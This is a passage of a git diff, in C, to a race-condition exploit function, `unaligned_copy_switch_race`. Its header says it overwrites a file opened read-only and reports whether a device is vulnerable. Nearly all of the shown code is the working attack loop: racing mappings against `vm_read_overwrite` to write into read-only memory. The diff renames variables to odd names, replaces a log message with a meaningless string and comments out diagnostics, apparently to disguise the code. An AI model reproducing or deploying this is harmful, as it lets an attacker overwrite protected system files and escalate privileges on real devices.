ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
// T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
@@ -263,27 +270,27 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
2 * ctx->ob_sizing,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
ctx->ob_sizing,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
memset((char *)e2, 'B', ctx->ob_sizing);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
&ctx->vmaddress_zeroe,
|
||||
ctx->ob_sizing,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
ctx->memory_entry_r_o,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
@@ -292,14 +299,14 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
@@ -321,42 +328,43 @@ bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
//c = RO mapping was modified
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
pthread_mutex_lock(&ctx->mutex_thingy);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
|
||||
ctx->vmaddress_zeroe = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
// fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
ctx->finished = true;
|
||||
pthread_mutex_unlock(&ctx->mutex_thingy);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
//#if 0
|
||||
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
// kern_success, kern_protection_failure, kern_other);
|
||||
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
//#endif
|
||||
return retval;
|
||||
}
|
||||
@@ -5,4 +5,4 @@
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);
|
||||
Reference in New Issue
Block a user